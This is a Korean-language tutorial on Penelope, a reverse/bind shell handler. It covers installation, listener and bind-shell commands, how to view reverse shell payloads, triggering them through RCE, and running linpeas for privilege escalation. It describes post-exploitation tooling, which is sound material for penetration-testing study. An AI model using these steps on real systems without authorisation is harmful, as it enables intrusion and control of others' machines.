penelope

Penelope는 원격 코드 실행 후의 쉘 관리를 간편하게 해주는 현대적인 리버스/바인드 쉘 핸들러입니다.

주요 기능은 다음과 같습니다.

  • 다중 세션 관리 가능
  • 리버스쉘 페이로드 제공
  • PTY(터미널) 업그레이드 및 크기 조정 지원
  • 원격 파일 업로드·다운로드 지원

penelope는 그리스 로마 신화에 나오는 오디세우스의 아내로, 수년간 그를 기다리며 보여준 충실함으로 유명합니다. 리버스 쉘 핸들러의 특징이 기다림인 만큼, 이 도구는 그녀의 이름을 따서 지어졌습니다.

Install

penelope는 모든 유닉스 기반 시스템(리눅스, macOS, FreeBSD 등)에서 실행 가능하며 Python 3.6 이상이 필요합니다.

pipx를 이용하여 간단하게 설치 가능합니다.

pipx install git+https://github.com/brightio/penelope

Usage

Sample Typical Usage

penelope                          # Listening for reverse shells on 0.0.0.0:4444
penelope -p 5555                  # Listening for reverse shells on 0.0.0.0:5555
penelope -i eth0 -p 5555          # Listening for reverse shells on eth0:5555
penelope -a                       # Listening for reverse shells on 0.0.0.0:4444 and show reverse shell payloads based on the current Listeners
 
penelope -c target -p 3333        # Connect to a bind shell on target:3333
 
penelope ssh user@target          # Get a reverse shell from target on local port 4444
penelope -p 5555 ssh user@target  # Get a reverse shell from target on local port 5555
penelope -i eth0 -p 5555 -- ssh -l user -p 2222 target  # Get a reverse shell from target on eth0, local port 5555 (use -- if ssh needs switches)
 
penelope -s <File/Folder>         # Share a file or folder via HTTP

Exploit Example

penelope를 실행해주면 listening 상태가 되고, p를 눌러서 리버스쉘 페이로드를 확인할 수 있습니다.

Payloads

첫번째 명령어로 RCE를 하여 리버스쉘 트리거를 하면 아래와 같이 쉘이 실행됩니다.

그리고 F12를 누르면 연결된 쉘에서 떨어지고 Penelope 쉘로 붙습니다.

해당 쉘에서는 아래와 같은 작업이 가능합니다.

해당 쉘에서 다시 리버스 쉘로 붙으려면 interact 명령어를 사용하면 됩니다. 또한 exec [command 로 쉘에 안 붙더라도 명령어 사용이 가능합니다.

그리고 모듈 또한 사용 가능합니다. 많이 사용하는 linpeas 또한 run peass_ng 명령어로 바로 실행이 가능합니다.

run peass_ng